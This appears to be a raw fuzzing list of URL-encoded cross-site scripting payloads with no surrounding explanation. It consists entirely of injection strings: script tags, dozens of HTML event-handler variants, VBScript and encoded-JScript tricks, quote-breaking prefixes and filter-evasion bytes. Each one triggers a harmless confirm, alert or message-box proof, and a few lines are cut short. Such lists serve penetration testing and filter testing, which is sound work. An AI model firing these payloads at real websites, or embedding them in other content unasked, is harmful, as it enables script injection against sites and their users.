'%3E%3Cscript%3Eeval(atob(%E2%80%98amF2YXNjcmlwdDphbGVydCgxKQ%E2%80%99));%3C/script%3E  
%3Cscript%3E%E2%80%99confirm(1)%E2%80%99.replace(/.+/,eval)%3C/script%3E  
%22%3E%3Cscript%3E%E2%80%99confirm(1)%E2%80%99.replace(/.+/,eval)%3C/script%3E  
'%3E%3Cscript%3E%E2%80%99confirm(1)%E2%80%99.replace(/.+/,eval)%3C/script%3E  
%3Cscript%3Efunction::[%E2%80%98confirm%E2%80%99](1)%3C/script%3E  
%22%3E%3Cscript%3Efunction::[%E2%80%98confirm%E2%80%99](1)%3C/script%3E  
'%3E%3Cscript%3Efunction::[%E2%80%98confirm%E2%80%99](1)%3C/script%3E  
%3Cimg%20onerror=&  
%22%3E%3Cimg%20onerror=&  
'%3E%3Cimg%20onerror=&  
%3Cscript%20language=vbs%3EMsgBox%201%3C/script%3E  
%22%3E%3Cscript%20language=vbs%3EMsgBox%201%3C/script%3E  
'%3E%3Cscript%20language=vbs%3EMsgBox%201%3C/script%3E  
%3Cimg%20onerror=%E2%80%9Dvbs:MsgBox%201%E2%80%9D%20src=a%3E  
%22%3E%3Cimg%20onerror=%E2%80%9Dvbs:MsgBox%201%E2%80%9D%20src=a%3E  
'%3E%3Cimg%20onerror=%E2%80%9Dvbs:MsgBox%201%E2%80%9D%20src=a%3E  
%3Cimg%20onerror=MsgBox+1%20language=vbs%20src=a%3E  
%22%3E%3Cimg%20onerror=MsgBox+1%20language=vbs%20src=a%3E  
'%3E%3Cimg%20onerror=MsgBox+1%20language=vbs%20src=a%3E  
%3CSCRIPT%20LANGUAGE=VBS%3EMSGBOX%201%3C/SCRIPT%3E  
%22%3E%3CSCRIPT%20LANGUAGE=VBS%3EMSGBOX%201%3C/SCRIPT%3E  
'%3E%3CSCRIPT%20LANGUAGE=VBS%3EMSGBOX%201%3C/SCRIPT%3E  
%3CIMG%20ONERROR=%E2%80%9DVBS:MSGBOX%201%E2%80%9D%20SRC=A%3E  
%22%3E%3CIMG%20ONERROR=%E2%80%9DVBS:MSGBOX%201%E2%80%9D%20SRC=A%3E  
'%3E%3CIMG%20ONERROR=%E2%80%9DVBS:MSGBOX%201%E2%80%9D%20SRC=A%3E  
%3Cscript%3EexecScript(%E2%80%9CMsgBox%201%E2%80%9D,%E2%80%9Dvbscript%E2%80%9D);%3C/script%3E  
%22%3E%3Cscript%3EexecScript(%E2%80%9CMsgBox%201%E2%80%9D,%E2%80%9Dvbscript%E2%80%9D);%3C/script%3E  
'%3E%3Cscript%3EexecScript(%E2%80%9CMsgBox%201%E2%80%9D,%E2%80%9Dvbscript%E2%80%9D);%3C/script%3E  
%3Cscript%20language=vbs%3EexecScript(%E2%80%9Cconfirm(1)%E2%80%9D)%3C/script%3E  
%22%3E%3Cscript%20language=vbs%3EexecScript(%E2%80%9Cconfirm(1)%E2%80%9D)%3C/script%3E  
'%3E%3Cscript%20language=vbs%3EexecScript(%E2%80%9Cconfirm(1)%E2%80%9D)%3C/script%3E  
%3CSCRIPT%20LANGUAGE=VBS%3EEXECSCRIPT(LCASE(%E2%80%9Cconfirm(1)%E2%80%9D))%20%3C/SCRIPT%3E  
%22%3E%3CSCRIPT%20LANGUAGE=VBS%3EEXECSCRIPT(LCASE(%E2%80%9Cconfirm(1)%E2%80%9D))%20%3C/SCRIPT%3E  
'%3E%3CSCRIPT%20LANGUAGE=VBS%3EEXECSCRIPT(LCASE(%E2%80%9Cconfirm(1)%E2%80%9D))%20%3C/SCRIPT%3E  
%3CIMG%20ONERROR=%E2%80%9DVBS:EXECSCRIPT%20LCASE(%E2%80%98confirm(1)%E2%80%99)%E2%80%9D%20SRC=A%3E  
%22%3E%3CIMG%20ONERROR=%E2%80%9DVBS:EXECSCRIPT%20LCASE(%E2%80%98confirm(1)%E2%80%99)%E2%80%9D%20SRC=A%3E  
'%3E%3CIMG%20ONERROR=%E2%80%9DVBS:EXECSCRIPT%20LCASE(%E2%80%98confirm(1)%E2%80%99)%E2%80%9D%20SRC=A%3E  
%3Cimg%20onerror=%E2%80%9DVBScript.Encode:  
%22%3E%3Cimg%20onerror=%E2%80%9DVBScript.Encode:  
'%3E%3Cimg%20onerror=%E2%80%9DVBScript.Encode:  
%3Cimg%20language=%E2%80%9DJScript.Encode%E2%80%9D%20onerror=%E2%80%9D  
%22%3E%3Cimg%20language=%E2%80%9DJScript.Encode%E2%80%9D%20onerror=%E2%80%9D  
'%3E%3Cimg%20language=%E2%80%9DJScript.Encode%E2%80%9D%20onerror=%E2%80%9D  
%3Cscript%3Evar%20a%20=%20%E2%80%98%3C/script%3E%3Cscript%3Econfirm(1)%3C/script%3E  
%22%3E%3Cscript%3Evar%20a%20=%20%E2%80%98%3C/script%3E%3Cscript%3Econfirm(1)%3C/script%3E  
'%3E%3Cscript%3Evar%20a%20=%20%E2%80%98%3C/script%3E%3Cscript%3Econfirm(1)%3C/script%3E  
%E2%80%9C%3Cscript%3Econfirm(1)%3C/script%3E  
%E2%80%9C;confirm(1)//  
%E2%80%98-confirm(1)-%E2%80%99  
%E2%80%9C%3Cscript%3Econfirm(1)%3C/script%3E  
%E2%80%9C;confirm(1)//  
%E2%80%98-confirm(1)-%E2%80%99  
%3Cinput%20type=%22text%22%20AUTOFOCUS%20onfocus=confirm(1)%3E  
%22%3E%3Cinput%20type=%22text%22%20AUTOFOCUS%20onfocus=confirm(1)%3E  
'%3E%3Cinput%20type=%22text%22%20AUTOFOCUS%20onfocus=confirm(1)%3E  
%3Cscript/x20type=%22text/javascript%22%3Ejavascript:confirm(1);%3C/script%3E  
%22%3E%3Cscript/x20type=%22text/javascript%22%3Ejavascript:confirm(1);%3C/script%3E  
'%3E%3Cscript/x20type=%22text/javascript%22%3Ejavascript:confirm(1);%3C/script%3E  
%3Cscript/x3Etype=%22text/javascript%22%3Ejavascript:confirm(1);%3C/script%3E  
%22%3E%3Cscript/x3Etype=%22text/javascript%22%3Ejavascript:confirm(1);%3C/script%3E  
'%3E%3Cscript/x3Etype=%22text/javascript%22%3Ejavascript:confirm(1);%3C/script%3E  
%3Cscript/x0Dtype=%22text/javascript%22%3Ejavascript:confirm(1);%3C/script%3E  
%22%3E%3Cscript/x0Dtype=%22text/javascript%22%3Ejavascript:confirm(1);%3C/script%3E  
'%3E%3Cscript/x0Dtype=%22text/javascript%22%3Ejavascript:confirm(1);%3C/script%3E  
%3Cscript/x09type=%22text/javascript%22%3Ejavascript:confirm(1);%3C/script%3E  
%22%3E%3Cscript/x09type=%22text/javascript%22%3Ejavascript:confirm(1);%3C/script%3E  
'%3E%3Cscript/x09type=%22text/javascript%22%3Ejavascript:confirm(1);%3C/script%3E  
%3Cscript/x0Ctype=%22text/javascript%22%3Ejavascript:confirm(1);%3C/script%3E  
%22%3E%3Cscript/x0Ctype=%22text/javascript%22%3Ejavascript:confirm(1);%3C/script%3E  
'%3E%3Cscript/x0Ctype=%22text/javascript%22%3Ejavascript:confirm(1);%3C/script%3E  
%3Cscript/x2Ftype=%22text/javascript%22%3Ejavascript:confirm(1);%3C/script%3E  
%22%3E%3Cscript/x2Ftype=%22text/javascript%22%3Ejavascript:confirm(1);%3C/script%3E  
'%3E%3Cscript/x2Ftype=%22text/javascript%22%3Ejavascript:confirm(1);%3C/script%3E  
%3Cscript/x0Atype=%22text/javascript%22%3Ejavascript:confirm(1);%3C/script%3E  
%22%3E%3Cscript/x0Atype=%22text/javascript%22%3Ejavascript:confirm(1);%3C/script%3E  
'%3E%3Cscript/x0Atype=%22text/javascript%22%3Ejavascript:confirm(1);%3C/script%3E  
'%60%22%3E%3C/x3Cscript%3Ejavascript:confirm(1)%3C/script%3E  
'%60%22%3E%3C/x00script%3Ejavascript:confirm(1)%3C/script%3E  
%3Cimg%20src=1%20href=1%20onerror=%22javascript:confirm(1)%22%3E%3C/img%3E  
%22%3E%3Cimg%20src=1%20href=1%20onerror=%22javascript:confirm(1)%22%3E%3C/img%3E  
'%3E%3Cimg%20src=1%20href=1%20onerror=%22javascript:confirm(1)%22%3E%3C/img%3E  
%3Caudio%20src=1%20href=1%20onerror=%22javascript:confirm(1)%22%3E%3C/audio%3E  
%22%3E%3Caudio%20src=1%20href=1%20onerror=%22javascript:confirm(1)%22%3E%3C/audio%3E  
'%3E%3Caudio%20src=1%20href=1%20onerror=%22javascript:confirm(1)%22%3E%3C/audio%3E  
%3Cvideo%20src=1%20href=1%20onerror=%22javascript:confirm(1)%22%3E%3C/video%3E  
%22%3E%3Cvideo%20src=1%20href=1%20onerror=%22javascript:confirm(1)%22%3E%3C/video%3E  
'%3E%3Cvideo%20src=1%20href=1%20onerror=%22javascript:confirm(1)%22%3E%3C/video%3E  
%3Cbody%20src=1%20href=1%20onerror=%22javascript:confirm(1)%22%3E%3C/body%3E  
%22%3E%3Cbody%20src=1%20href=1%20onerror=%22javascript:confirm(1)%22%3E%3C/body%3E  
'%3E%3Cbody%20src=1%20href=1%20onerror=%22javascript:confirm(1)%22%3E%3C/body%3E  
%3Cimage%20src=1%20href=1%20onerror=%22javascript:confirm(1)%22%3E%3C/image%3E  
%22%3E%3Cimage%20src=1%20href=1%20onerror=%22javascript:confirm(1)%22%3E%3C/image%3E  
'%3E%3Cimage%20src=1%20href=1%20onerror=%22javascript:confirm(1)%22%3E%3C/image%3E  
%3Cobject%20src=1%20href=1%20onerror=%22javascript:confirm(1)%22%3E%3C/object%3E  
%22%3E%3Cobject%20src=1%20href=1%20onerror=%22javascript:confirm(1)%22%3E%3C/object%3E  
'%3E%3Cobject%20src=1%20href=1%20onerror=%22javascript:confirm(1)%22%3E%3C/object%3E  
%3Cscript%20src=1%20href=1%20onerror=%22javascript:confirm(1)%22%3E%3C/script%3E  
%22%3E%3Cscript%20src=1%20href=1%20onerror=%22javascript:confirm(1)%22%3E%3C/script%3E  
'%3E%3Cscript%20src=1%20href=1%20onerror=%22javascript:confirm(1)%22%3E%3C/script%3E  
%3Csvg%20onResize%20svg%20onResize=%22javascript:javascript:confirm(1)%22%3E%3C/svg%20onResize%3E  
%22%3E%3Csvg%20onResize%20svg%20onResize=%22javascript:javascript:confirm(1)%22%3E%3C/svg%20onResize%3E  
'%3E%3Csvg%20onResize%20svg%20onResize=%22javascript:javascript:confirm(1)%22%3E%3C/svg%20onResize%3E  
%3Ctitle%20onPropertyChange%20title%20onPropertyChange=%22javascript:javascript:confirm(1)%22%3E%3C/title%20onPropertyChange%3E  
%22%3E%3Ctitle%20onPropertyChange%20title%20onPropertyChange=%22javascript:javascript:confirm(1)%22%3E%3C/title%20onPropertyChange%3E  
'%3E%3Ctitle%20onPropertyChange%20title%20onPropertyChange=%22javascript:javascript:confirm(1)%22%3E%3C/title%20onPropertyChange%3E  
%3Ciframe%20onLoad%20iframe%20onLoad=%22javascript:javascript:confirm(1)%22%3E%3C/iframe%20onLoad%3E  
%22%3E%3Ciframe%20onLoad%20iframe%20onLoad=%22javascript:javascript:confirm(1)%22%3E%3C/iframe%20onLoad%3E  
'%3E%3Ciframe%20onLoad%20iframe%20onLoad=%22javascript:javascript:confirm(1)%22%3E%3C/iframe%20onLoad%3E  
%3Cbody%20onMouseEnter%20body%20onMouseEnter=%22javascript:javascript:confirm(1)%22%3E%3C/body%20onMouseEnter%3E  
%22%3E%3Cbody%20onMouseEnter%20body%20onMouseEnter=%22javascript:javascript:confirm(1)%22%3E%3C/body%20onMouseEnter%3E  
'%3E%3Cbody%20onMouseEnter%20body%20onMouseEnter=%22javascript:javascript:confirm(1)%22%3E%3C/body%20onMouseEnter%3E  
%3Cbody%20onFocus%20body%20onFocus=%22javascript:javascript:confirm(1)%22%3E%3C/body%20onFocus%3E  
%22%3E%3Cbody%20onFocus%20body%20onFocus=%22javascript:javascript:confirm(1)%22%3E%3C/body%20onFocus%3E  
'%3E%3Cbody%20onFocus%20body%20onFocus=%22javascript:javascript:confirm(1)%22%3E%3C/body%20onFocus%3E  
%3Cframeset%20onScroll%20frameset%20onScroll=%22javascript:javascript:confirm(1)%22%3E%3C/frameset%20onScroll%3E  
%22%3E%3Cframeset%20onScroll%20frameset%20onScroll=%22javascript:javascript:confirm(1)%22%3E%3C/frameset%20onScroll%3E  
'%3E%3Cframeset%20onScroll%20frameset%20onScroll=%22javascript:javascript:confirm(1)%22%3E%3C/frameset%20onScroll%3E  
%3Cscript%20onReadyStateChange%20script%20onReadyStateChange=%22javascript:javascript:confirm(1)%22%3E%3C/script%20onReadyStateChange%3E  
%22%3E%3Cscript%20onReadyStateChange%20script%20onReadyStateChange=%22javascript:javascript:confirm(1)%22%3E%3C/script%20onReadyStateChange%3E  
'%3E%3Cscript%20onReadyStateChange%20script%20onReadyStateChange=%22javascript:javascript:confirm(1)%22%3E%3C/script%20onReadyStateChange%3E  
%3Chtml%20onMouseUp%20html%20onMouseUp=%22javascript:javascript:confirm(1)%22%3E%3C/html%20onMouseUp%3E  
%22%3E%3Chtml%20onMouseUp%20html%20onMouseUp=%22javascript:javascript:confirm(1)%22%3E%3C/html%20onMouseUp%3E  
'%3E%3Chtml%20onMouseUp%20html%20onMouseUp=%22javascript:javascript:confirm(1)%22%3E%3C/html%20onMouseUp%3E  
%3Cbody%20onPropertyChange%20body%20onPropertyChange=%22javascript:javascript:confirm(1)%22%3E%3C/body%20onPropertyChange%3E  
%22%3E%3Cbody%20onPropertyChange%20body%20onPropertyChange=%22javascript:javascript:confirm(1)%22%3E%3C/body%20onPropertyChange%3E  
'%3E%3Cbody%20onPropertyChange%20body%20onPropertyChange=%22javascript:javascript:confirm(1)%22%3E%3C/body%20onPropertyChange%3E  
%3Csvg%20onLoad%20svg%20onLoad=%22javascript:javascript:confirm(1)%22%3E%3C/svg%20onLoad%3E  
%22%3E%3Csvg%20onLoad%20svg%20onLoad=%22javascript:javascript:confirm(1)%22%3E%3C/svg%20onLoad%3E  
'%3E%3Csvg%20onLoad%20svg%20onLoad=%22javascript:javascript:confirm(1)%22%3E%3C/svg%20onLoad%3E  
%3Cbody%20onPageHide%20body%20onPageHide=%22javascript:javascript:confirm(1)%22%3E%3C/body%20onPageHide%3E  
%22%3E%3Cbody%20onPageHide%20body%20onPageHide=%22javascript:javascript:confirm(1)%22%3E%3C/body%20onPageHide%3E  
%22%3E%3Cbody%20onUnload%20body%20onUnload=%22javascript:javascript:confirm(1)%22%3E%3C/body%20onUnload%3E  
'%3E%3Cbody%20onUnload%20body%20onUnload=%22javascript:javascript:confirm(1)%22%3E%3C/body%20onUnload%3E  
%3Cbody%20onLoad%20body%20onLoad=%22javascript:javascript:confirm(1)%22%3E%3C/body%20onLoad%3E  
%22%3E%3Cbody%20onLoad%20body%20onLoad=%22javascript:javascript:confirm(1)%22%3E%3C/body%20onLoad%3E  
'%3E%3Cbody%20onLoad%20body%20onLoad=%22javascript:javascript:confirm(1)%22%3E%3C/body%20onLoad%3E  
%3Cbgsound%20onPropertyChange%20bgsound%20onPropertyChange=%22javascript:javascript:confirm(1)%22%3E%3C/bgsound%20onPropertyChange%3E  
%22%3E%3Cbgsound%20onPropertyChange%20bgsound%20onPropertyChange=%22javascript:javascript:confirm(1)%22%3E%3C/bgsound%20onPropertyChange%3E  
'%3E%3Cbgsound%20onPropertyChange%20bgsound%20onPropertyChange=%22javascript:javascript:confirm(1)%22%3E%3C/bgsound%20onPropertyChange%3E  
%3Chtml%20onMouseLeave%20html%20onMouseLeave=%22javascript:javascript:confirm(1)%22%3E%3C/html%20onMouseLeave%3E  
%22%3E%3Chtml%20onMouseLeave%20html%20onMouseLeave=%22javascript:javascript:confirm(1)%22%3E%3C/html%20onMouseLeave%3E  
'%3E%3Chtml%20onMouseLeave%20html%20onMouseLeave=%22javascript:javascript:confirm(1)%22%3E%3C/html%20onMouseLeave%3E  
%3Chtml%20onMouseWheel%20html%20onMouseWheel=%22javascript:javascript:confirm(1)%22%3E%3C/html%20onMouseWheel%3E  
%22%3E%3Chtml%20onMouseWheel%20html%20onMouseWheel=%22javascript:javascript:confirm(1)%22%3E%3C/html%20onMouseWheel%3E  
'%3E%3Chtml%20onMouseWheel%20html%20onMouseWheel=%22javascript:javascript:confirm(1)%22%3E%3C/html%20onMouseWheel%3E  
%3Cstyle%20onLoad%20style%20onLoad=%22javascript:javascript:confirm(1)%22%3E%3C/style%20onLoad%3E  
%22%3E%3Cstyle%20onLoad%20style%20onLoad=%22javascript:javascript:confirm(1)%22%3E%3C/style%20onLoad%3E  
'%3E%3Cstyle%20onLoad%20style%20onLoad=%22javascript:javascript:confirm(1)%22%3E%3C/style%20onLoad%3E  
%3Ciframe%20onReadyStateChange%20iframe%20onReadyStateChange=%22javascript:javascript:confirm(1)%22%3E%3C/iframe%20onReadyStateChange%3E  
%22%3E%3Ciframe%20onReadyStateChange%20iframe%20onReadyStateChange=%22javascript:javascript:confirm(1)%22%3E%3C/iframe%20onReadyStateChange%3E  
'%3E%3Ciframe%20onReadyStateChange%20iframe%20onReadyStateChange=%22javascript:javascript:confirm(1)%22%3E%3C/iframe%20onReadyStateChange%3E  
%3Cbody%20onPageShow%20body%20onPageShow=%22javascript:javascript:confirm(1)%22%3E%3C/body%20onPageShow%3E  
%22%3E%3Cbody%20onPageShow%20body%20onPageShow=%22javascript:javascript:confirm(1)%22%3E%3C/body%20onPageShow%3E  
'%3E%3Cbody%20onPageShow%20body%20onPageShow=%22javascript:javascript:confirm(1)%22%3E%3C/body%20onPageShow%3E  
%3Cstyle%20onReadyStateChange%20style%20onReadyStateChange=%22javascript:javascript:confirm(1)%22%3E%3C/style%20onReadyStateChange%3E  
%22%3E%3Cstyle%20onReadyStateChange%20style%20onReadyStateChange=%22javascript:javascript:confirm(1)%22%3E%3C/style%20onReadyStateChange%3E  
'%3E%3Cstyle%20onReadyStateChange%20style%20onReadyStateChange=%22javascript:javascript:confirm(1)%22%3E%3C/style%20onReadyStateChange%3E  
%3Cframeset%20onFocus%20frameset%20onFocus=%22javascript:javascript:confirm(1)%22%3E%3C/frameset%20onFocus%3E  
%22%3E%3Cframeset%20onFocus%20frameset%20onFocus=%22javascript:javascript:confirm(1)%22%3E%3C/frameset%20onFocus%3E  
'%3E%3Cframeset%20onFocus%20frameset%20onFocus=%22javascript:javascript:confirm(1)%22%3E%3C/frameset%20onFocus%3E  
%3Capplet%20onError%20applet%20onError=%22javascript:javascript:confirm(1)%22%3E%3C/applet%20onError%3E  
%22%3E%3Capplet%20onError%20applet%20onError=%22javascript:javascript:confirm(1)%22%3E%3C/applet%20onError%3E  
'%3E%3Capplet%20onError%20applet%20onError=%22javascript:javascript:confirm(1)%22%3E%3C/applet%20onError%3E  
%3Cmarquee%20onStart%20marquee%20onStart=%22javascript:javascript:confirm(1)%22%3E%3C/marquee%20onStart%3E  
%22%3E%3Cmarquee%20onStart%20marquee%20onStart=%22javascript:javascript:confirm(1)%22%3E%3C/marquee%20onStart%3E  
'%3E%3Cmarquee%20onStart%20marquee%20onStart=%22javascript:javascript:confirm(1)%22%3E%3C/marquee%20onStart%3E  
%3Cscript%20onLoad%20script%20onLoad=%22javascript:javascript:confirm(1)%22%3E%3C/script%20onLoad%3E  
%22%3E%3Cscript%20onLoad%20script%20onLoad=%22javascript:javascript:confirm(1)%22%3E%3C/script%20onLoad%3E  
'%3E%3Cscript%20onLoad%20script%20onLoad=%22javascript:javascript:confirm(1)%22%3E%3C/script%20onLoad%3E  
%3Chtml%20onMouseOver%20html%20onMouseOver=%22javascript:javascript:confirm(1)%22%3E%3C/html%20onMouseOver%3E  
%22%3E%3Chtml%20onMouseOver%20html%20onMouseOver=%22javascript:javascript:confirm(1)%22%3E%3C/html%20onMouseOver%3E  
'%3E%3Chtml%20onMouseOver%20html%20onMouseOver=%22javascript:javascript:confirm(1)%22%3E%3C/html%20onMouseOver%3E  
%3Chtml%20onMouseEnter%20html%20onMouseEnter=%22javascript:parent.javascript:confirm(1)%22%3E%3C/html%20onMouseEnter%3E  
%22%3E%3Chtml%20onMouseEnter%20html%20onMouseEnter=%22javascript:parent.javascript:confirm(1)%22%3E%3C/html%20onMouseEnter%3E  
'%3E%3Chtml%20onMouseEnter%20html%20onMouseEnter=%22javascript:parent.javascript:confirm(1)%22%3E%3C/html%20onMouseEnter%3E  
%3Cbody%20onBeforeUnload%20body%20onBeforeUnload=%22javascript:javascript:confirm(1)%22%3E%3C/body%20onBeforeUnload%3E  
%22%3E%3Cbody%20onBeforeUnload%20body%20onBeforeUnload=%22javascript:javascript:confirm(1)%22%3E%3C/body%20onBeforeUnload%3E  
'%3E%3Cbody%20onBeforeUnload%20body%20onBeforeUnload=%22javascript:javascript:confirm(1)%22%3E%3C/body%20onBeforeUnload%3E  
%3Chtml%20onMouseDown%20html%20onMouseDown=%22javascript:javascript:confirm(1)%22%3E%3C/html%20onMouseDown%3E  
%22%3E%3Chtml%20onMouseDown%20html%20onMouseDown=%22javascript:javascript:confirm(1)%22%3E%3C/html%20onMouseDown%3E  
'%3E%3Chtml%20onMouseDown%20html%20onMouseDown=%22javascript:javascript:confirm(1)%22%3E%3C/html%20onMouseDown%3E  
%3Cmarquee%20onScroll%20marquee%20onScroll=%22javascript:javascript:confirm(1)%22%3E%3C/marquee%20onScroll%3E  
%22%3E%3Cmarquee%20onScroll%20marquee%20onScroll=%22javascript:javascript:confirm(1)%22%3E%3C/marquee%20onScroll%3E  
'%3E%3Cmarquee%20onScroll%20marquee%20onScroll=%22javascript:javascript:confirm(1)%22%3E%3C/marquee%20onScroll%3E  
%3Cxml%20onPropertyChange%20xml%20onPropertyChange=%22javascript:javascript:confirm(1)%22%3E%3C/xml%20onPropertyChange%3E  
%22%3E%3Cxml%20onPropertyChange%20xml%20onPropertyChange=%22javascript:javascript:confirm(1)%22%3E%3C/xml%20onPropertyChange%3E  
'%3E%3Cxml%20onPropertyChange%20xml%20onPropertyChange=%22javascript:javascript:confirm(1)%22%3E%3C/xml%20onPropertyChange%3E  
%3Cframeset%20onBlur%20frameset%20onBlur=%22javascript:javascript:confirm(1)%22%3E%3C/frameset%20onBlur%3E  
%22%3E%3Cframeset%20onBlur%20frameset%20onBlur=%22javascript:javascript:confirm(1)%22%3E%3C/frameset%20onBlur%3E  
'%3E%3Cframeset%20onBlur%20frameset%20onBlur=%22javascript:javascript:confirm(1)%22%3E%3C/frameset%20onBlur%3E  
%3Capplet%20onReadyStateChange%20applet%20onReadyStateChange=%22javascript:javascript:confirm(1)%22%3E%3C/applet%20onReadyStateChange%3E  
%22%3E%3Capplet%20onReadyStateChange%20applet%20onReadyStateChange=%22javascript:javascript:confirm(1)%22%3E%3C/applet%20onReadyStateChange%3E  
'%3E%3Capplet%20onReadyStateChange%20applet%20onReadyStateChange=%22javascript:javascript:confirm(1)%22%3E%3C/applet%20onReadyStateChange%3E  
%3Csvg%20onUnload%20svg%20onUnload=%22javascript:javascript:confirm(1)%22%3E%3C/svg%20onUnload%3E  
%22%3E%3Csvg%20onUnload%20svg%20onUnload=%22javascript:javascript:confirm(1)%22%3E%3C/svg%20onUnload%3E  
'%3E%3Csvg%20onUnload%20svg%20onUnload=%22javascript:javascript:confirm(1)%22%3E%3C/svg%20onUnload%3E  
%3Chtml%20onMouseOut%20html%20onMouseOut=%22javascript:javascript:confirm(1)%22%3E%3C/html%20onMouseOut%3E  
%22%3E%3Chtml%20onMouseOut%20html%20onMouseOut=%22javascript:javascript:confirm(1)%22%3E%3C/html%20onMouseOut%3E  
'%3E%3Chtml%20onMouseOut%20html%20onMouseOut=%22javascript:javascript:confirm(1)%22%3E%3C/html%20onMouseOut%3E  
%3Cbody%20onMouseMove%20body%20onMouseMove=%22javascript:javascript:confirm(1)%22%3E%3C/body%20onMouseMove%3E  
%22%3E%3Cbody%20onMouseMove%20body%20onMouseMove=%22javascript:javascript:confirm(1)%22%3E%3C/body%20onMouseMove%3E  
'%3E%3Cbody%20onMouseMove%20body%20onMouseMove=%22javascript:javascript:confirm(1)%22%3E%3C/body%20onMouseMove%3E  
%3Cbody%20onResize%20body%20onResize=%22javascript:javascript:confirm(1)%22%3E%3C/body%20onResize%3E  
%22%3E%3Cbody%20onResize%20body%20onResize=%22javascript:javascript:confirm(1)%22%3E%3C/body%20onResize%3E  
'%3E%3Cbody%20onResize%20body%20onResize=%22javascript:javascript:confirm(1)%22%3E%3C/body%20onResize%3E  
%3Cobject%20onError%20object%20onError=%22javascript:javascript:confirm(1)%22%3E%3C/object%20onError%3E  
%22%3E%3Cobject%20onError%20object%20onError=%22javascript:javascript:confirm(1)%22%3E%3C/object%20onError%3E  
'%3E%3Cobject%20onError%20object%20onError=%22javascript:javascript:confirm(1)%22%3E%3C/object%20onError%3E  
%3Cbody%20onPopState%20body%20onPopState=%22javascript:javascript:confirm(1)%22%3E%3C/body%20onPopState%3E  
%22%3E%3Cbody%20onPopState%20body%20onPopState=%22javascript:javascript:confirm(1)%22%3E%3C/body%20onPopState%3E  
'%3E%3Cbody%20onPopState%20body%20onPopState=%22javascript:javascript:confirm(1)%22%3E%3C/body%20onPopState%3E  
%3Chtml%20onMouseMove%20html%20onMouseMove=%22javascript:javascript:confirm(1)%22%3E%3C/html%20onMouseMove%3E  
%22%3E%3Chtml%20onMouseMove%20html%20onMouseMove=%22javascript:javascript:confirm(1)%22%3E%3C/html%20onMouseMove%3E  
'%3E%3Chtml%20onMouseMove%20html%20onMouseMove=%22javascript:javascript:confirm(1)%22%3E%3C/html%20onMouseMove%3E  
%3Capplet%20onreadystatechange%20applet%20onreadystatechange=%22javascript:javascript:confirm(1)%22%3E%3C/applet%20onreadystatechange%3E  
%22%3E%3Capplet%20onreadystatechange%20applet%20onreadystatechange=%22javascript:javascript:confirm(1)%22%3E%3C/applet%20onreadystatechange%3E  
'%3E%3Capplet%20onreadystatechange%20applet%20onreadystatechange=%22javascript:javascript:confirm(1)%22%3E%3C/applet%20onreadystatechange%3E  
%3Cbody%20onpagehide%20body%20onpagehide=%22javascript:javascript:confirm(1)%22%3E%3C/body%20onpagehide%3E  
%22%3E%3Cbody%20onpagehide%20body%20onpagehide=%22javascript:javascript:confirm(1)%22%3E%3C/body%20onpagehide%3E  
'%3E%3Cbody%20onpagehide%20body%20onpagehide=%22javascript:javascript:confirm(1)%22%3E%3C/body%20onpagehide%3E  
%3Csvg%20onunload%20svg%20onunload=%22javascript:javascript:confirm(1)%22%3E%3C/svg%20onunload%3E  
%22%3E%3Csvg%20onunload%20svg%20onunload=%22javascript:javascript:confirm(1)%22%3E%3C/svg%20onunload%3E  
'%3E%3Csvg%20onunload%20svg%20onunload=%22javascript:javascript:confirm(1)%22%3E%3C/svg%20onunload%3E  
%3Capplet%20onerror%20applet%20onerror=%22javascript:javascript:confirm(1)%22%3E%3C/applet%20onerror%3E  
%22%3E%3Capplet%20onerror%20applet%20onerror=%22javascript:javascript:confirm(1)%22%3E%3C/applet%20onerror%3E  
'%3E%3Capplet%20onerror%20applet%20onerror=%22javascript:javascript:confirm(1)%22%3E%3C/applet%20onerror%3E  
%3Cbody%20onkeyup%20body%20onkeyup=%22javascript:javascript:confirm(1)%22%3E%3C/body%20onkeyup%3E  
%22%3E%3Cbody%20onkeyup%20body%20onkeyup=%22javascript:javascript:confirm(1)%22%3E%3C/body%20onkeyup%3E  
'%3E%3Cbody%20onkeyup%20body%20onkeyup=%22javascript:javascript:confirm(1)%22%3E%3C/body%20onkeyup%3E  
%3Cbody%20onunload%20body%20onunload=%22javascript:javascript:confirm(1)%22%3E%3C/body%20onunload%3E  
%22%3E%3Cbody%20onunload%20body%20onunload=%22javascript:javascript:confirm(1)%22%3E%3C/body%20onunload%3E  
'%3E%3Cbody%20onunload%20body%20onunload=%22javascript:javascript:confirm(1)%22%3E%3C/body%20onunload%3E  
%3Ciframe%20onload%20iframe%20onload=%22javascript:javascript:confirm(1)%22%3E%3C/iframe%20onload%3E  
%22%3E%3Ciframe%20onload%20iframe%20onload=%22javascript:javascript:confirm(1)%22%3E%3C/iframe%20onload%3E  
'%3E%3Ciframe%20onload%20iframe%20onload=%22javascript:javascript:confirm(1)%22%3E%3C/iframe%20onload%3E  
%3Cbody%20onload%20body%20onload=%22javascript:javascript:confirm(1)%22%3E%3C/body%20onload%3E  
%22%3E%3Cbody%20onload%20body%20onload=%22javascript:javascript:confirm(1)%22%3E%3C/body%20onload%3E  
'%3E%3Cbody%20onload%20body%20onload=%22javascript:javascript:confirm(1)%22%3E%3C/body%20onload%3E  
%3Chtml%20onmouseover%20html%20onmouseover=%22javascript:javascript:confirm(1)%22%3E%3C/html%20onmouseover%3E  
%22%3E%3Chtml%20onmouseover%20html%20onmouseover=%22javascript:javascript:confirm(1)%22%3E%3C/html%20onmouseover%3E  
'%3E%3Chtml%20onmouseover%20html%20onmouseover=%22javascript:javascript:confirm(1)%22%3E%3C/html%20onmouseover%3E  
%3Cobject%20onbeforeload%20object%20onbeforeload=%22javascript:javascript:confirm(1)%22%3E%3C/object%20onbeforeload%3E  
%22%3E%3Cobject%20onbeforeload%20object%20onbeforeload=%22javascript:javascript:confirm(1)%22%3E%3C/object%20onbeforeload%3E  
'%3E%3Cobject%20onbeforeload%20object%20onbeforeload=%22javascript:javascript:confirm(1)%22%3E%3C/object%20onbeforeload%3E  
%3Cbody%20onbeforeunload%20body%20onbeforeunload=%22javascript:javascript:confirm(1)%22%3E%3C/body%20onbeforeunload%3E  
%22%3E%3Cbody%20onbeforeunload%20body%20onbeforeunload=%22javascript:javascript:confirm(1)%22%3E%3C/body%20onbeforeunload%3E  
'%3E%3Cbody%20onkeydown%20body%20onkeydown=%22javascript:javascript:confirm(1)%22%3E%3C/body%20onkeydown%3E  
%3Ciframe%20onbeforeload%20iframe%20onbeforeload=%22javascript:javascript:confirm(1)%22%3E%3C/iframe%20onbeforeload%3E  
